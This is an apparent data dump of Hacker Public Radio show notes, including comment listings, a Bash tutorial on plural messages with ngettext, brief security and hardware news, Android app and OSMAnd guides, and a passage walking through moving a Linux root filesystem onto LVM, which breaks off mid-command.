
                                                            Past shows

                                                            \n

                                                            There are 5 comments on\n3 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3693\n(2022-09-28) \"Fixing the automatic cutoff mechanism to an electric mower\"\nby Rho`n.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nSome Guy On The Internet on 2022-10-27:\n\"Thank you.\"

                                                              \n
                                                            • hpr3694\n(2022-09-29) \"Robo Tripping Ravelords of the Apocalypse\"\nby Mechatroniac.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 6:\nSome Guy On The Internet on 2022-10-27:\n\"Please continue.\"

                                                              \n
                                                            • hpr3695\n(2022-09-30) \"How I watch youtube with newsboat\"\nby binrc.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nbinrc on 2022-10-01:\n\"RSS THE PLANET\"
                                                              • \n
                                                              • \nComment 3:\nDave Morriss on 2022-10-03:\n\"Great show, but I have questions\"
                                                              • \n
                                                              • \nComment 4:\nNate on 2022-10-20:\n\"use an invidious instance to get the channel id\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 29 comments on 14 of this month's shows:

                                                            \n
                                                            • hpr3697\n(2022-10-04) \"Mis-information, Dis-information, and Fake News. You are a product and target for all of it.\"\nby Lurking Prion.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-10-27:\n\"Bravo, Bravo!\"

                                                              \n
                                                            • hpr3698\n(2022-10-05) \"Spectrogram\"\nby Klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-10-27:\n\"I gave it a go.\"

                                                              \n
                                                            • hpr3701\n(2022-10-10) \"ReiserFS - the file system of the future\"\nby Paul J.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nwynaut on 2022-10-11:\n\"Very interesting\"
                                                              • Comment 2:\nKevin O'Brien on 2022-10-11:\n\"Great show\"
                                                              • Comment 3:\nBeeza on 2022-10-11:\n\"Perfect First Show\"
                                                              • Comment 4:\nWindigo on 2022-10-12:\n\"Excellent first episode!\"
                                                              • Comment 5:\nbrian-in-ohio on 2022-10-13:\n\"great show\"

                                                              \n
                                                            • hpr3702\n(2022-10-11) \"Easter Ogg\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKinghezy on 2022-10-12:\n\"Jerusalem\"

                                                              \n
                                                            • hpr3705\n(2022-10-14) \"The Year of the FreeBSD Desktop\"\nby binrc.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndnt on 2022-10-18:\n\"Time running out on 2022\"
                                                              • Comment 2:\nKevin O'Brien on 2022-10-18:\n\"Great show\"

                                                              \n
                                                            • hpr3706\n(2022-10-17) \"The Future of Technology\"\nby Lurking Prion.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2022-09-10:\n\"Wrong wrong wrong\"
                                                              • Comment 2:\ndnt on 2022-10-18:\n\"Capitalism or technology\"
                                                              • Comment 3:\nWindigo on 2022-10-18:\n\"Relatable\"

                                                              \n
                                                            • hpr3707\n(2022-10-18) \"Recovering a Massive 3.5 HP Electric Motor from a Treadmill\"\nby Mechatroniac.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\none_of_spoons on 2022-10-18:\n\"gravity generator\"
                                                              • Comment 2:\nMechatroniac on 2022-10-23:\n\"electricity\"
                                                              • Comment 3:\nSome Guy On The Internet on 2022-10-27:\n\"Cool beans\"

                                                              \n
                                                            • hpr3708\n(2022-10-19) \"Insomnia as a Hobby\"\nby TrumpetJohn.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndnt on 2022-10-22:\n\"Sleep with me\"

                                                              \n
                                                            • hpr3710\n(2022-10-21) \"Changing Plans Again\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndnt on 2022-10-25:\n\"Travelling\"
                                                              • Comment 2:\nKevin O'Brien on 2022-10-25:\n\"You are most welcome\"

                                                              \n
                                                            • hpr3711\n(2022-10-24) \"Cars\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-10-27:\n\"Big Human = Big Vehicle\"

                                                              \n
                                                            • hpr3712\n(2022-10-25) \"The last ever CCHits.net Show\"\nby CCHits.net Team.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-10-27:\n\"I've never heard of this site until now.\"
                                                              • Comment 2:\nthelovebug on 2022-10-29:\n\"CCHits theme tune\"

                                                              \n
                                                            • hpr3713\n(2022-10-26) \"Bash snippet - short-circuit evaluation in Bash Boolean expressions\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-10-27:\n\"Great Show\"

                                                              \n
                                                            • hpr3714\n(2022-10-27) \"The News with Some Guy On the Internet\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2022-10-27:\n\"Great Episode!\"
                                                              • Comment 2:\nZen_floater2 on 2022-10-27:\n\"OH NO!\"
                                                              • Comment 3:\ndnt on 2022-10-28:\n\"This just in:\"
                                                              • Comment 4:\nKevin O'Brien on 2022-10-29:\n\"Wonderful!\"

                                                              \n
                                                            • hpr3715\n(2022-10-28) \"Secret hat conversations, Part 2.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nThe hacker formerly known as Mr. Young on 2022-10-29:\n\"Tin foil hat engaged\"
                                                              • Comment 2:\none_of_spoons on 2022-10-31:\n\"Protonmail shopping for law enforcement.\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-October/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Older HPR shows on\narchive.org, phase 2

                                                            \n

                                                            Now that all shows from number 1 to the latest have been uploaded to\nthe Internet Archive there are other tasks to perform. We are\nreprocessing and re-uploading shows in the range 871 to 2429 as\nexplained in the Community News show notes released in May\n2022. We are keeping a running total here to show progress:

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            \nMonth\n\nMonth count\n\nRunning total\n\nRemainder\n
                                                            \n2022-04\n\n130\n\n130\n\n1428\n
                                                            \n2022-05\n\n140\n\n270\n\n1288\n
                                                            \n2022-06\n\n150\n\n420\n\n1138\n
                                                            \n2022-07\n\n155\n\n575\n\n983\n
                                                            \n2022-08\n\n155\n\n730\n\n828\n
                                                            \n2022-09\n\n150\n\n880\n\n678\n
                                                            \n2022-10\n\n155\n\n1035\n\n523\n
                                                            \n\n

                                                            Updated: 2022-11-05 15:28:06

                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3722,"date":"2022-11-08","title":"Bash snippet - plurals in messages","duration":513,"summary":"How to use English singular and plural words in messages","notes":"
                                                            \n

                                                            Overview

                                                            \n

                                                            Have you ever written a Bash script (or any shell script) where you\ngenerate a message like 'Found 42 files' and the day comes\nwhen it reports 'Found 1 files'?

                                                            \n

                                                            Have you been irritated by this? I have, and I go to lengths to deal\nproperly with (English) plurals in my Bash scripts.

                                                            \n

                                                            Method 1

                                                            \n

                                                            The simplest solution would be to use an 'if'\nstatement:

                                                            \n
                                                            if [[ $fcount -eq 1 ]]; then\n    echo "Found 1 file"\nelse\n    echo "Found $fcount files"\nfi
                                                            \n

                                                            This works, but to have to do it for every message would be a\npain!

                                                            \n

                                                            Method 2

                                                            \n

                                                            The next approach to this problem might be to write a Bash\nfunction.

                                                            \n
                                                            pluralise () {\n    local singular="${1}"\n    local plural="${2}"\n    local count="${3}"\n\n    if [[ $count -eq 1 ]]; then\n        echo "$singular"\n    else\n        echo "$plural"\n    fi\n}
                                                            \n

                                                            This can be called as follows:

                                                            \n
                                                            $ i=1; echo "Found $i $(pluralise "file" "files" $i)"\nFound 1 file\n$ i=42; echo "Found $i $(pluralise "file" "files" $i)"\nFound 42 files
                                                            \n

                                                            The string being displayed with echo contains a command\nsubstitution ('$(command)') which returns\n'file' or 'files' depending on the value\ngiven.

                                                            \n

                                                            The first two arguments can be more complex than plain strings:

                                                            \n
                                                            $ i=1; echo "There $(pluralise "is 1 light" "are $i lights" $i)"\nThere is 1 light\n$ i=4; echo "There $(pluralise "is 1 light" "are $i lights" $i)"\nThere are 4 lights
                                                            \n

                                                            The pluralise\nfunction is available for download.

                                                            \n

                                                            Method 3

                                                            \n

                                                            The GNU project has developed a set of utilities called the GNU\ngettext utilities consisting of tools and documentation for\ntranslation. This is a large subject which is not suitable for a short\nHPR episode such as this one.

                                                            \n

                                                            Among the tools is 'ngettext' which performs the\nfunction we have been discussing - choosing among plural forms. It also\nimplements translations if desired (and translation files are provided\nas part of the software being developed).

                                                            \n

                                                            We will not discuss the translation topic here, but the choice of\nplurals is something that can be used in Bash scripts.

                                                            \n

                                                            The 'ngettext' tool takes three mandatory\nparameters:

                                                            \n
                                                              \n
                                                            • MSGID - the singular form of the text
                                                            • \n
                                                            • MSGID-PLURAL - the plural form of the text
                                                            • \n
                                                            • COUNT - the value used to make the singular/plural\nchoice
                                                            • \n
                                                            \n

                                                            There are other optional parameters and options but they are not\nrelevant here.

                                                            \n

                                                            The tool can be used in exactly the same way as the\n'pluralise' example above.

                                                            \n
                                                            $ i=1; echo "There $(ngettext "is 1 light" "are $i lights" $i)"\nThere is 1 light\n$ i=4; echo "There $(ngettext "is 1 light" "are $i lights" $i)"\nThere are 4 lights
                                                            \n

                                                            Whether you use this or a Bash function is your choice.

                                                            \n

                                                            Conclusion

                                                            \n

                                                            I have been using ngettext in my scripts since I\ndiscovered it. If you also need to provide messages in your projects in\nother languages then this might be a good idea.

                                                            \n

                                                            I admit that my understanding of the GNU gettext project\nis superficial, so, on reflection it might be better to use a Bash\nfunction, since I don’t currently need all of the features GNU\ngettext provides.

                                                            \n

                                                            Links

                                                            \n\n
                                                            \n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash, plural, ngettext","version":0,"downloads":0,"valid":1}, {"id":3723,"date":"2022-11-09","title":"HPR News","duration":722,"summary":"News for the Community, by the Community.","notes":"

                                                            HPR News.

                                                            \n

                                                            Threat Analysis;\nyour attack surface.

                                                            \n

                                                            Wireless\nkey fobs compromised in European nations (France, Spain, and\nLatvia). On October 10, 2022, European authorities arrested 31\nsuspects across three nations. The suspects are believed to be related\nto a cybercrime ring that allegedly advertised an “automotive diagnostic\nsolution” online and sent out fraudulent packages to their victims. The\nfraudulent packages contained malware and once installed onto the\nvictims vehicle, the attackers were able to unlock the vehicle, start\nthe ignition, then steal the vehicle without the physical key fob.\nEuropean authorities confiscated over €1 million in criminal assets\n(malicious software, tools, and an online domain).

                                                            \n

                                                            Microsoft\nOffice 365 has a broken encryption algorithm. Microsoft Office 365\nuses an encryption algorithm called “Office 365 Message Encryption” to\nsend and receive encrypted email messages. The messages are encrypted in\nan Electronic Codebook (ECB). The U.S. National Institute of Standards\nand Technology (NIST) reported, \"ECB mode encrypts plaintext blocks\nindependently, without randomization; therefore, the inspection of any\ntwo ciphertext blocks reveals whether or not the corresponding plaintext\nblocks are equal\". Emails can be harvested today then decrypted later\nfor future attacks.

                                                            \n

                                                            User Space.

                                                            \n

                                                            Netflix\ncrackdown on freeloaders. Netflix is testing in Argentina, the\nDominican Republic, El Salvador, Guatemala, and Honduras Chile, Costa\nRica and Peru different\nefforts to crackdown on freeloaders. The term “freeloaders” covers\nthe multiple users sharing a single Netflix account from different\nlocations. Netflix plans to charge an additional $3.00 - $4.00 per\nsubaccount.

                                                            \n

                                                            Samsung\nimplements private blockchain to link user devices. While claiming\nthe private blockchain, “has nothing to do with cryptomining”, the Knox\nMatrix security system links all your devices together in a private\nblockchain instead using a server based group verification system. The\nsystem, Knox Matrix, is suppose to allow devices to “manage themselves”\nby auto updating, caching updates for other devices then distributing\nthe updates to other devices on the private blockchain.

                                                            \n

                                                            Toys for Techs.

                                                            \n\n

                                                            Juno Tablet is a Beta product; overall it works with a few bugs. This\nis a non-refundable product, you will only get store credit.

                                                            \n
                                                              \n
                                                            • Price: $429.00 USD.

                                                            • \n
                                                            • Screen Size: 10.1”

                                                              \n
                                                                \n
                                                              • Screen Type: Full HD IPS screen 1920×1200 Capacitive touch,\nCapacitive (10-Point) MIPI-DSI.
                                                              • \n
                                                              • Refresh Rate: 60 Hz.
                                                              • \n
                                                            • \n
                                                            • CPU: Intel\nJasper Lake Intel Celeron N5100 (4 Cores / 4 Threads) – 1.10GHz\n(Turbo 2.80 GHz)

                                                              \n
                                                                \n
                                                              • Graphics: Intel UHD Graphics, Frequency: Base 350 MHz - Max 800\nMHz.
                                                              • \n
                                                            • \n
                                                            • Ram (SOLDERED): 8GB 2133 MHz LPDDR4.

                                                            • \n
                                                            • Storage: 256GB, 512GB, 1TB SSD.

                                                            • \n
                                                            • Chassis: Plastic.

                                                            • \n
                                                            • Wireless Card: Intel\nWireless AC 9460/9560 Jefferson Peak 2.4 and 5GHz + Bluetooth\n4.2.

                                                            • \n
                                                            • Ports:

                                                              \n
                                                                \n
                                                              • 1x USB3.0
                                                              • \n
                                                              • 1x Type-C 3.1 (Supports charging + video out)
                                                              • \n
                                                              • 1x Mini HDMI
                                                              • \n
                                                              • 1x Micro SD
                                                              • \n
                                                              • 3.5MM Headphone Jack
                                                              • \n
                                                            • \n
                                                            • Built-in Microphone

                                                            • \n
                                                            • Linux Kernel 5.18+

                                                            • \n
                                                            • OS:

                                                              \n
                                                            • \n
                                                            • JingPad A1, It’s the\nWorld’s FIRST Consumer-level ARM-based Linux Tablet.

                                                              \n
                                                                \n
                                                              • JingPad A1 maybe discontinued: https://www.youtube.com/watch?v=cmBG1Sjgsgk
                                                              • \n
                                                            • \n
                                                            • Pine64’s\nOx64.

                                                            • \n
                                                            • RISC-V SBC Info:

                                                            • \n
                                                            • Ram:

                                                              \n
                                                                \n
                                                              • Embedded 64MB PSRAM
                                                              • \n
                                                            • \n
                                                            • Network:

                                                              \n
                                                                \n
                                                              • 2.4GHz 1T1R WiFi 802.11 b/g/n
                                                              • \n
                                                              • Bluetooth 5.2
                                                              • \n
                                                              • Zigbee
                                                              • \n
                                                              • 10/100Mbps Ethernet (optional, on expansion board)
                                                              • \n
                                                            • \n
                                                            • Storage:

                                                              \n
                                                                \n
                                                              • on-board 16Mb (2MB) or 128Mb (16MB) XSPI NOR flash memory.
                                                              • \n
                                                              • microSD - supports SDHC and SDXC
                                                              • \n
                                                            • \n
                                                            • Expansion Ports:

                                                              \n
                                                                \n
                                                              • USB 2.0 OTG port
                                                              • \n
                                                              • 26 GPIO Pins, including SPI, I2C and UART functionality. Possible\nI2S and GMII expansion.
                                                              • \n
                                                              • Dual lane MiPi CSI port, located at USB-C port, for camera\nmodule.
                                                              • \n
                                                            • \n
                                                            • Audio:

                                                              \n
                                                                \n
                                                              • mic (optional, on camera module)
                                                              • \n
                                                              • speaker (optional, on camera module)
                                                              • \n
                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Malware, Security Breach, Hardware, Tablets","version":0,"downloads":0,"valid":1}, {"id":3724,"date":"2022-11-10","title":"My top Android apps","duration":579,"summary":"I walk through the top apps on my phone","notes":"

                                                            My most used apps

                                                            \n

                                                            AIO Launcher

                                                            \n\n

                                                            \"Main

                                                            \n

                                                            \n

                                                            \n

                                                            Termux: Terminal\nemulator with packages

                                                            \n\n

                                                            QKSMS Messaging

                                                            \n\n

                                                            Firefox browser

                                                            \n
                                                              \n
                                                            • Firefox browser
                                                            • \n
                                                            \n

                                                            Opera browser

                                                            \n
                                                              \n
                                                            • Opera browser
                                                            • \n
                                                            \n

                                                            Brave browser

                                                            \n
                                                              \n
                                                            • Brave browser
                                                            • \n
                                                            \n

                                                            Clear Scanner PDF scanner and\nOCR

                                                            \n\n

                                                            Antennapod

                                                            \n\n

                                                            Tusky

                                                            \n\n

                                                            K-9 mail client

                                                            \n\n

                                                            Viber

                                                            \n
                                                              \n
                                                            • Viber

                                                              \n
                                                                \n
                                                              • Android and Fedora/Ubuntu desktop app
                                                              • \n
                                                              • App image
                                                              • \n
                                                            • \n
                                                            \n

                                                            Audio recorder

                                                            \n\n

                                                            X-plore dual-pane file\nmanager

                                                            \n
                                                              \n
                                                            • X-plore dual-pane file\nmanager
                                                            • \n
                                                            \n

                                                            Librera E-book Reader: for\nPDF, EPUB

                                                            \n
                                                              \n
                                                            • Librera E-book Reader

                                                              \n
                                                                \n
                                                              • Books\n
                                                                  \n
                                                                • Star Wars: Dark Tide I: Onslaught

                                                                  \n

                                                                  The New Jedi Order #2

                                                                  \n
                                                                    \n
                                                                  • Star Wars Dark Tide I:\nOnslaught
                                                                  • \n
                                                                • \n
                                                                • Boba Fett: A Practical Man

                                                                  \n
                                                                    \n
                                                                  • Boba Fett: A Practical Man
                                                                  • \n
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n

                                                            Multi Timer

                                                            \n
                                                              \n
                                                            • Multi Timer
                                                            • \n
                                                            \n

                                                            US Amateur Radio Band Plan

                                                            \n
                                                              \n
                                                            • US Amateur Radio Band Plan

                                                              \n
                                                                \n
                                                              • Quick reference of band and privilege restrictions
                                                              • \n
                                                            • \n
                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Android, Android apps, Mobile phone, Custom launcher","version":0,"downloads":0,"valid":1}, {"id":3725,"date":"2022-11-11","title":"How to use OSMAnd with Public Transport ","duration":124,"summary":"Ken shows you how to use this mapping tool to display transit routes in your area.","notes":"

                                                            \n\"\"
                                                            \nMap of Dublin showing the Temple Bar tourist area. A red arrow points to where you can change the profile.\n

                                                            \n

                                                            \n\"\"
                                                            \nWith the Configure Map > Profile selection menu open, a red square surrounds the Bus icon to indicate the \"public transport\" profile is now selected.\n

                                                            \n

                                                            \n\"\"
                                                            \nThe map now opens to show more information about public transport is now displayed on the map. This is highlighted with a red square.
                                                            \nClicking the bustop (highlighted with a red circle ) will show more information about the routes available at this location.\n

                                                            \n

                                                            \n\"\"
                                                            \nOnce the transport stop is selected, a list of all the routes that service this location are displayed. Along with other routes that are available within a short distance.\n

                                                            \n

                                                            \n\"\"
                                                            \nClicking any of the routes numbers/names will give a zoomed out map showing in red the route many of the stops towards it's source and destination.\n

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"OSMAnd, OSM, Maps, Public Transport","version":0,"downloads":0,"valid":1}, {"id":3726,"date":"2022-11-14","title":"Breaches ever reaching","duration":251,"summary":"A short episode about the reaching effects of breaches and forgotten accounts","notes":"

                                                            A short episode about the reaching effects of breaches and accounts you may have forgotten about.

                                                            \n\n","hostid":405,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"cybersecurity,security,EvilSteve,breach,data reduction,privacy","version":0,"downloads":0,"valid":1}, {"id":3727,"date":"2022-11-15","title":"Expanding your filesystem with LVM","duration":1480,"summary":"Rho`n describes adding a new hard drive to his work computer and expanding its filesystem","notes":"

                                                            Synopis

                                                            \n

                                                            I installed a new 1TB Crucial MX500 SSD into my work computer. While\nwe are mostly a Windows based business, as the IT guy I do get a bit of\ndiscretion when updating my own machine (i.e. I get to solve all the\nproblems I create). Last year, I decided to run the Pop!_OS distribution\nof Linux on my work computer and run Windows in a VM on it. Recently the\nWindows image had grown and was causing disk space notifications. This\nprompted the additional hard drive.

                                                            \n

                                                            During the initial installation of Pop!_OS, I remember deciding not\nto bother with installing Linux Volume Management (LVM). I have used it\nin the past, but I am still much more comfortable with the old style\ndevice mapping and mounting disk partitions to directories. I even\nrationalized that if I needed to add more space, I will just add a new\ndisk with one big partition and map it to the home directory.

                                                            \n

                                                            Now a year later I am adding a new HD and thinking, I really hate all\nthe space that is most likely going to be wasted once I move the Windows\nimage to the new drive. Ok, I guess I should figure out how to install\nLVM, and use it to manage the space on both drives. Luckily there a\nnumber of good blogs to be found on adding LVM to an existing system.\nThe following are the steps and commands I used to accomplish my\ngoal.

                                                            \n

                                                            Commands

                                                            \n

                                                            Most of the following commands need to be run as root. I decided to\nchange to root user instead of typing sudo before every command. The\nbasic steps to creating a single filesystem sharing the storage space\nbetween two physical disk partitions are:

                                                            \n
                                                              \n
                                                            1. Let LVM know about the new disk.
                                                            2. \n
                                                            3. In my case, create a volume group and add the new disk and its full\nstorage space to it.
                                                            4. \n
                                                            5. Copy the disk partition with the root filesystem from the origin\ndisk to the new volume group
                                                            6. \n
                                                            7. Expand the root filesystem on the volume group to the full size of\nthe volume group.
                                                            8. \n
                                                            9. Update system configuration to boot with the root filesystem on the\nnew volume group.
                                                            10. \n
                                                            11. Let LVM know about the old root disk partition.
                                                            12. \n
                                                            13. Add the old root partition to the volume group.
                                                            14. \n
                                                            15. Expand the root filesystem on the volume group to include the new\nspace in the volume group.
                                                            16. \n
                                                            \n
                                                            root@work# pvcreate /dev/sdb\n\nroot@work# pvdisplay\n  "/dev/sdb" is a new physical volume of "931.51 GiB"\n  --- NEW Physical volume ---\n  PV Name               /dev/sdb\n  VG Name\n  PV Size               931.51 GiB\n  Allocatable           NO\n  PE Size               0\n  Total PE              0\n  Free PE               0\n  Allocated PE          0\n  PV UUID               wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# vgcreate workvg /dev/dsb\n  No device found for /dev/dsb.\nroot@work# vgcreate workvg /dev/sdb\n  Volume group "workvg" successfully created\nroot@work# vgdisplay\n  --- Volume group ---\n  VG Name               workvg\n  System ID\n  Format                lvm2\n  Metadata Areas        1\n  Metadata Sequence No  1\n  VG Access             read/write\n  VG Status             resizable\n  MAX LV                0\n  Cur LV                0\n  Open LV               0\n  Max PV                0\n  Cur PV                1\n  Act PV                1\n  VG Size               931.51 GiB\n  PE Size               4.00 MiB\n  Total PE              238467\n  Alloc PE / Size       0 / 0\n  Free  PE / Size       238467 / 931.51 GiB\n  VG UUID               67DSwP-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# pvdisplay\n  --- Physical volume ---\n  PV Name               /dev/sdb\n  VG Name               workvg\n  PV Size               931.51 GiB / not usable 1.71 MiB\n  Allocatable           yes\n  PE Size               4.00 MiB\n  Total PE              238467\n  Free PE               238467\n  Allocated PE          0\n  PV UUID               wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# lvcreate -n root -L 931.51 workvg\n  Rounding up size to full physical extent 932.00 MiB\n  Logical volume "root" created.\n\nroot@work# cat /dev/sda3 >/dev/mapper/workvg-root\ncat: write error: No space left on device
                                                            \n

                                                            Hmmm why can't it copy the smaller disk onto a larger one?

                                                            \n
                                                            root@work# pvdisplay\n  --- Physical volume ---\n  PV Name               /dev/sdb\n  VG Name               workvg\n  PV Size               931.51 GiB / not usable 1.71 MiB\n  Allocatable           yes\n  PE Size               4.00 MiB\n  Total PE              238467\n  Free PE               238234\n  Allocated PE          233\n  PV UUID               wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# lvdisplay\n  --- Logical volume ---\n  LV Path                /dev/workvg/root\n  LV Name                root\n  VG Name                workvg\n  LV UUID                srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n  LV Write Access        read/write\n  LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n  LV Status              available\n  # open                 0\n  LV Size                932.00 MiB\n  Current LE             233\n  Segments               1\n  Allocation             inherit\n  Read ahead sectors     auto\n  - currently set to     256\n  Block device           253:1
                                                            \n

                                                            Whoops, the default unit for the lvcreate is MB, and I forgot to add\nG to my size. A good reason to always include units in whatever you do\n:) Also, pay attention to any reports printed at the end of a successful\ncommand. When I scrolled back I realized it told me the size it\ncreated.

                                                            \n
                                                            root@work# lvextend -l +100%FREE /dev/workvg/root\n  Size of logical volume workvg/root changed from 932.00 MiB (233 extents) to 931.51 GiB (238467 extents).\n  Logical volume workvg/root successfully resized.\n\nroot@work# lvdisplay\n  --- Logical volume ---\n  LV Path                /dev/workvg/root\n  LV Name                root\n  VG Name                workvg\n  LV UUID                srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n  LV Write Access        read/write\n  LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n  LV Status              available\n  # open                 0\n  LV Size                931.51 GiB\n  Current LE             238467\n  Segments               1\n  Allocation             inherit\n  Read ahead sectors     auto\n  - currently set to     256\n  Block device           253:1\n\nroot@work# cat /dev/sda3 >/dev/mapper/workvg-root\n\nroot@work# mkdir /media/new-root\n\nroot@work# mount /dev/mapper/workvg-root /media/new-root\n\nroot@work# df -h\nFilesystem               Size  Used Avail Use% Mounted on\n/dev/sda3                450G  421G  5.6G  99% /\n/dev/sda1                497M  373M  125M  76% /boot/efi\n/dev/sda2                4.0G  3.4G  692M  84% /recovery\n/dev/mapper/workvg-root  450G  421G  5.7G  99% /media/new-root
                                                            \n

                                                            Ok, the LV volume is resized but the filesystem now needs to expanded\nto use the new disk space

                                                            \n
                                                            root@work# umount /media/new-root/\n\nroot@work# resize2fs /dev/mapper/workvg-root\n\nresize2fs 1.46.5 (30-Dec-2021)\nPlease run 'e2fsck -f /dev/mapper/workvg-root' first.\n\nroot@work# e2fsck -f /dev/mapper/workvg-root\ne2fsck 1.46.5 (30-Dec-2021)\nPass 1: Checking inodes, blocks, and sizes\nInode 7210086 extent tree (at level 2) could be narrower.  Optimize<y>? yes\nPass 1E: Optimizing extent trees\nPass 2: Checking directory structure\nPass 3: Checking directory connectivity\nPass 4: Checking reference counts\nPass 5: Checking group summary information\n\n/dev/mapper/workvg-root: ***** FILE SYSTEM WAS MODIFIED *****\n/dev/mapper/workvg-root: 827287/29974528 files (1.2% non-contiguous), 112395524/119870981 blocks\n\nroot@work# resize2fs /dev/mapper/workvg-root\nresize2fs 1.46.5 (30-Dec-2021)\nResizing the filesystem on /dev/mapper/workvg-root to 244190208 (4k) blocks.\nThe filesystem on /dev/mapper/workvg-root is now 244190208 (4k) blocks long.\n\nroot@work# mount /dev/mapper/workvg-root /media/new-root\n\nroot@work# df -h\nFilesystem               Size  Used Avail Use% Mounted on\n/dev/sda3                450G  421G  5.5G  99% /\n/dev/mapper/workvg-root  916G  421G  449G  49% /media/new-root
                                                            \n

                                                            Much better. Now we need to get the computer to boot using LVM and\nthe new drive. Need to make sure /etc/fstab is updated to\npoint to the new root filesystem.

                                                            \n

                                                            Make some in-memory filesystems available under the new root:

                                                            \n
                                                            root@work# mount --rbind /dev /media/new-root/dev\nroot@work# mount --bind /proc /media/new-root/proc\nroot@work# mount --bind /sys /media/new-root/sys\nroot@work# mount --bind /run /media/new-root/run\n\nroot@work# chroot /media/new-root\n\nroot@work# cat /etc/fstab\n# /etc/fstab: static file system information.\n#\n# Use 'blkid' to print the universally unique identifier for a\n# device; this may be used with UUID= as a more robust way to name devices\n# that works even if disks are added and removed. See fstab(5).\n#\n# <file system>  <mount point>  <type>  <options>  <dump>  <pass>\nPARTUUID=949a09f0-xxxx-xxxx-xxxx-xxxxxxxxxxxx  /boot/efi  vfat  umask=0077  0  0\nPARTUUID=bbcc2068-xxxx-xxxx-xxxx-xxxxxxxxxxxx  /recovery  vfat  umask=0077  0  0\nUUID=9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx  /  ext4  noatime,errors=remount-ro  0  0\n/dev/mapper/cryptswap  none  swap  defaults  0  0\n\nroot@work# vi /etc/fstab\n\nroot@work# cat /etc/fstab\n# /etc/fstab: static file system information.\n#\n# Use 'blkid' to print the universally unique identifier for a\n# device; this may be used with UUID= as a more robust way to name devices\n# that works even if disks are added and removed. See fstab(5).\n#\n# <file system>  <mount point>  <type>  <options>  <dump>  <pass>\nPARTUUID=949a09f0-xxxx-xxxx-xxxx-xxxxxxxxxxxx  /boot/efi  vfat  umask=0077  0  0\nPARTUUID=bbcc2068-xxxx-xxxx-xxxx-xxxxxxxxxxxx  /recovery  vfat  umask=0077  0  0\n/dev/mapper/workvg-root  /  ext4  noatime,errors=remount-ro  0  0\n/dev/mapper/cryptswap  none  swap  defaults  0  0\n\nroot@it05:/media/new-root/etc/initramfs-tools# lsinitramfs /boot/initrd.img-$(uname -r) | grep lvm\netc/lvm\netc/lvm/lvm.conf\netc/lvm/lvmlocal.conf\netc/lvm/profile\netc/lvm/profile/cache-mq.profile\netc/lvm/profile/cache-smq.profile\netc/lvm/profile/command_profile_template.profile\netc/lvm/profile/lvmdbusd.profile\netc/lvm/profile/metadata_profile_template.profile\netc/lvm/profile/thin-generic.profile\netc/lvm/profile/thin-performance.profile\netc/lvm/profile/vdo-small.profile\nscripts/init-bottom/lvm2\nscripts/local-block/lvm2\nscripts/local-top/lvm-workaround\nscripts/local-top/lvm2\nusr/lib/udev/rules.d/56-lvm.rules\nusr/lib/udev/rules.d/69-lvm-metad.rules\nusr/sbin/lvm\n\nroot@it05:/# update-initramfs -u\nupdate-initramfs: Generating 